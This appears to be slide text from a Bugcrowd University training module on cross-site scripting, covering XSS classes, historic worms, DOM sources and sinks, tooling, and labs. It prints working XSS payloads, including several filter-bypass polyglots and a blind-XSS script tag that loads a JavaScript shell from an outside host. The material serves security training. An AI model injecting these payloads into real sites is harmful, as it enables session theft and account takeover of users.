Bugcrowd University - Cross Site Scripting
Bugcrowd University - Cross Site Scripting
Bugcrowd University
Module Trainer
● JP Villanueva - @swagnetow
● Trust & Security Engineer @Bugcrowd
● Programmer, hacker, speaker, gamer!
Module Outline
1. Module Reading
2. Introduction to XSS
3. Classic Examples of XSS
4. Best Practices
5. Advances in XSS
6. Tools
7. Labs
8. Resources and References
Module Reading
● Web Application Hacker’s Handbook (2nd Edition)
○ Chapter 12 - Attacking Users: Cross-Site Scripting
● OWASP Testing Guide 4.0
○ 4.8.1 Testing for Reflected Cross Site Scripting
(OTG-INPVAL-001)
○ 4.8.2 Testing for Stored Cross Site Scripting (OTG-INPVAL-002)
○ 4.12.1 Testing for DOM based Cross Site Scripting
(OTG-CLIENT-001)
● Mozilla Developer Network - Web Docs
○ Introduction to the DOM
Introduction
Introduction to Cross Site Scripting
● History
● What is it?
● When/Where do you find it?
● How do you find it
● How impactful is this?
● What can you do with XSS?
Classes of XSS
Classes of XSS
● Reflective XSS
● Stored XSS
● DOM XSS
● Blind XSS
● Flash-based XSS
● Self XSS
Classic Examples of XSS
Myspace Worm - Stored XSS
● https://samy.pl/popular/tech.html
Tweetdeck Worm - Stored XSS
● https://threatpost.com/tweetdeck-taken-down-in-wake-of-xss-attacks/106597/
Best Practices
Best Practices Injections
“
“>
● Start slow! “><>
● Don’t get discouraged! “><script>
“></script>
● Keep a list of common payloads “><script>alert(1)</script>
“><script>confirm(1)</script>
● Use Burp Intruder ...
Advances in XSS
Advances in XSS
● DOM XSS
● XSS Polyglots
● Blind XSS
DOM XSS - What to Look For?
Sources: Sinks:
document.url element.innerHTML()
document.referrer element.outerHTML()
location eval()
location.href setTimeout()
location.search setInterval()
location.hash document.write()
location.pathname document.writeln()
DOM XSS - What Does It Look Like?
XSS Polyglot #1 (RSnake)
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,
83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromChar
Code(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(
88,83,83))</SCRIPT>
Multi-context, filter bypass based polyglot payload #1 (OWASP XSS Cheat Sheet)
XSS Polyglot #2 (0xsobky)
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert()
)//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/
--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
● https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot
XSS Polyglot #3 (Ashar Javed)
'">><marquee><img src=x
onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouse
over=prompt(1)><script>prompt(1)</script>@gmail.com<isindex
formaction=javascript:alert(/XSS/)
type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm&
lpar;1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img
src="http://i.imgur.com/P8mL8.jpg">
● Multi-context, filter bypass based polyglot payload #2 (Ashar Javed XSS Research)
Blind XSS
G
BU
1 Jamie: I really
enjoy my super
Frans: I really admin access
enjoy my NEW this morning !!!
super admin
access this
morning !!! “><script src=//y.vg></script> 2
4
l !!#!
vascript shel
Y.vg is a a ja
3
Tooling
Tooling
● Blind XSS
○ XSS Hunter
○ Sleepy Puppy
○ KnoXSS
XSSHunter (Blind)
Payload:
u p p or t
SMS S
Jackmasa’s XSS
Mindmap
https://github.com/jhaddix/XSS.png
Labs
Labs
bWapp Section - A3 - Cross-Site Scripting (XSS)